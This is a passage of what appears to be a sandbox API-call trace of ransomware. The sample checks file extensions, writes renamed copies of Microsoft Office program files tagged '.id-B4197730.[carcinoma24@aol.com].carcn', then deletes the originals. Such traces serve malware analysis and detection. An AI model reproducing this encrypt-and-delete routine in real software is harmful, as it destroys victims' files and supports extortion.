Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0279.083] lstrlenW (lpString=".jpg") returned 4 [0279.083] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0279.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0279.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0279.265] lstrlenW (lpString=".doc") returned 4 [0279.265] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.265] lstrlenW (lpString=".docx") returned 5 [0279.265] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0279.265] lstrlenW (lpString=".pdf") returned 4 [0279.265] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.265] lstrlenW (lpString=".xls") returned 4 [0279.265] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.265] lstrlenW (lpString=".xlsx") returned 5 [0279.265] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0279.265] lstrlenW (lpString=".ppt") returned 4 [0279.265] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0279.265] lstrlenW (lpString=".zip") returned 4 [0279.265] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.265] lstrlenW (lpString=".rar") returned 4 [0279.265] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.265] lstrlenW (lpString=".bz2") returned 4 [0279.265] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.265] lstrlenW (lpString=".7z") returned 3 [0279.266] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0279.266] lstrlenW (lpString=".dbf") returned 4 [0279.266] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0279.266] lstrlenW (lpString=".1cd") returned 4 [0279.266] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0279.266] lstrlenW (lpString=".jpg") returned 4 [0279.266] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.267] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.268] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0279.270] GetLastError () returned 0x0 [0279.270] ReadFile (in: hFile=0x374, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x221, lpOverlapped=0x0) returned 1 [0279.271] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x230, lpOverlapped=0x0) returned 1 [0279.274] ReadFile (in: hFile=0x374, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.274] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x10c, lpOverlapped=0x0) returned 1 [0279.274] SetEndOfFile (hFile=0x540) returned 1 [0279.274] CloseHandle (hObject=0x540) returned 1 [0279.274] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.274] SetEndOfFile (hFile=0x374) returned 1 [0279.281] CloseHandle (hObject=0x374) returned 1 [0279.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0279.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1 [0279.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0279.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0279.282] lstrlenW (lpString=".doc") returned 4 [0279.282] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0279.282] lstrlenW (lpString=".docx") returned 5 [0279.282] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0279.282] lstrlenW (lpString=".pdf") returned 4 [0279.282] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0279.283] lstrlenW (lpString=".xls") returned 4 [0279.283] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0279.283] lstrlenW (lpString=".xlsx") returned 5 [0279.283] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0279.283] lstrlenW (lpString=".ppt") returned 4 [0279.283] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0279.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0279.284] lstrlenW (lpString=".zip") returned 4 [0279.284] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0279.284] lstrlenW (lpString=".rar") returned 4 [0279.284] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0279.284] lstrlenW (lpString=".bz2") returned 4 [0279.284] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0279.284] lstrlenW (lpString=".7z") returned 3 [0279.284] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0279.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0279.284] lstrlenW (lpString=".dbf") returned 4 [0279.284] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0279.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0279.284] lstrlenW (lpString=".1cd") returned 4 [0279.284] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0279.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0279.284] lstrlenW (lpString=".jpg") returned 4 [0279.284] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0279.286] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=578264) returned 1 [0279.286] CloseHandle (hObject=0x374) returned 1 [0279.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 0x220 [0279.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0279.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0279.286] lstrlenW (lpString=".doc") returned 4 [0279.287] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.287] lstrlenW (lpString=".docx") returned 5 [0279.287] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0279.287] lstrlenW (lpString=".pdf") returned 4 [0279.287] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.287] lstrlenW (lpString=".xls") returned 4 [0279.287] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.287] lstrlenW (lpString=".xlsx") returned 5 [0279.287] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0279.287] lstrlenW (lpString=".ppt") returned 4 [0279.287] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0279.287] lstrlenW (lpString=".zip") returned 4 [0279.287] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.287] lstrlenW (lpString=".rar") returned 4 [0279.287] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.287] lstrlenW (lpString=".bz2") returned 4 [0279.287] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.287] lstrlenW (lpString=".7z") returned 3 [0279.287] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0279.287] lstrlenW (lpString=".dbf") returned 4 [0279.287] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0279.287] lstrlenW (lpString=".1cd") returned 4 [0279.287] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0279.288] lstrlenW (lpString=".jpg") returned 4 [0279.288] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.289] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.289] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0279.290] GetLastError () returned 0x0 [0279.290] ReadFile (in: hFile=0x374, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2c3, lpOverlapped=0x0) returned 1 [0279.305] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0279.306] ReadFile (in: hFile=0x374, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.307] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x108, lpOverlapped=0x0) returned 1 [0279.307] SetEndOfFile (hFile=0x540) returned 1 [0279.307] CloseHandle (hObject=0x540) returned 1 [0279.307] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.307] SetEndOfFile (hFile=0x374) returned 1 [0279.639] CloseHandle (hObject=0x374) returned 1 [0279.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0279.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1 [0279.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0279.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0279.640] lstrlenW (lpString=".doc") returned 4 [0279.640] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0279.640] lstrlenW (lpString=".docx") returned 5 [0279.640] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0279.640] lstrlenW (lpString=".pdf") returned 4 [0279.640] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0279.640] lstrlenW (lpString=".xls") returned 4 [0279.640] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0279.641] lstrlenW (lpString=".xlsx") returned 5 [0279.641] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0279.641] lstrlenW (lpString=".ppt") returned 4 [0279.641] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0279.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0279.641] lstrlenW (lpString=".zip") returned 4 [0279.641] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0279.641] lstrlenW (lpString=".rar") returned 4 [0279.641] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0279.641] lstrlenW (lpString=".bz2") returned 4 [0279.641] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0279.641] lstrlenW (lpString=".7z") returned 3 [0279.641] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0279.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0279.641] lstrlenW (lpString=".dbf") returned 4 [0279.641] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0279.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0279.641] lstrlenW (lpString=".1cd") returned 4 [0279.641] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0279.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0279.641] lstrlenW (lpString=".jpg") returned 4 [0279.641] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0280.092] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=615304) returned 1 [0280.092] CloseHandle (hObject=0x554) returned 1 [0280.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 0x220 [0280.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0280.094] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.094] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0280.095] GetLastError () returned 0x0 [0280.095] ReadFile (in: hFile=0x554, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x96388, lpOverlapped=0x0) returned 1 [0280.326] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x96390, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x96390, lpOverlapped=0x0) returned 1 [0280.653] ReadFile (in: hFile=0x554, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.654] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x10e, lpOverlapped=0x0) returned 1 [0280.654] SetEndOfFile (hFile=0x540) returned 1 [0281.375] CloseHandle (hObject=0x540) returned 1 [0281.879] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.879] SetEndOfFile (hFile=0x554) returned 1 [0281.898] CloseHandle (hObject=0x554) returned 1 [0281.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 1 [0281.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0281.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0281.900] lstrlenW (lpString=".doc") returned 4 [0281.900] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0281.900] lstrlenW (lpString=".docx") returned 5 [0281.900] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0281.900] lstrlenW (lpString=".pdf") returned 4 [0281.900] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0281.900] lstrlenW (lpString=".xls") returned 4 [0281.900] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0281.900] lstrlenW (lpString=".xlsx") returned 5 [0281.900] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0281.900] lstrlenW (lpString=".ppt") returned 4 [0281.900] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0281.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0281.900] lstrlenW (lpString=".zip") returned 4 [0281.900] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0281.900] lstrlenW (lpString=".rar") returned 4 [0281.900] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0281.901] lstrlenW (lpString=".bz2") returned 4 [0281.901] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0281.901] lstrlenW (lpString=".7z") returned 3 [0281.901] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0281.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0281.901] lstrlenW (lpString=".dbf") returned 4 [0281.901] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0281.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0281.901] lstrlenW (lpString=".1cd") returned 4 [0281.901] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0281.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0281.901] lstrlenW (lpString=".jpg") returned 4 [0281.901] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0281.905] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.905] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0281.971] GetLastError () returned 0x0 [0281.971] ReadFile (in: hFile=0x554, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x5127, lpOverlapped=0x0) returned 1 [0281.985] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x5130, lpOverlapped=0x0) returned 1 [0281.987] ReadFile (in: hFile=0x554, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.987] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x104, lpOverlapped=0x0) returned 1 [0281.987] SetEndOfFile (hFile=0x4ac) returned 1 [0281.987] CloseHandle (hObject=0x4ac) returned 1 [0281.987] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.987] SetEndOfFile (hFile=0x554) returned 1 [0281.994] CloseHandle (hObject=0x554) returned 1 [0281.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 1 [0281.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0281.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0281.996] lstrlenW (lpString=".doc") returned 4 [0281.996] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0281.996] lstrlenW (lpString=".docx") returned 5 [0281.996] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0281.996] lstrlenW (lpString=".pdf") returned 4 [0281.996] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0281.996] lstrlenW (lpString=".xls") returned 4 [0281.996] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0281.996] lstrlenW (lpString=".xlsx") returned 5 [0281.996] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0281.996] lstrlenW (lpString=".ppt") returned 4 [0281.996] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0281.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0281.996] lstrlenW (lpString=".zip") returned 4 [0281.996] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0281.996] lstrlenW (lpString=".rar") returned 4 [0281.996] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0281.997] lstrlenW (lpString=".bz2") returned 4 [0281.997] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0281.997] lstrlenW (lpString=".7z") returned 3 [0281.997] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0281.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0281.997] lstrlenW (lpString=".dbf") returned 4 [0281.997] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0281.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0281.997] lstrlenW (lpString=".1cd") returned 4 [0281.997] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0281.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0281.997] lstrlenW (lpString=".jpg") returned 4 [0281.997] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0281.998] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=11594) returned 1 [0281.998] CloseHandle 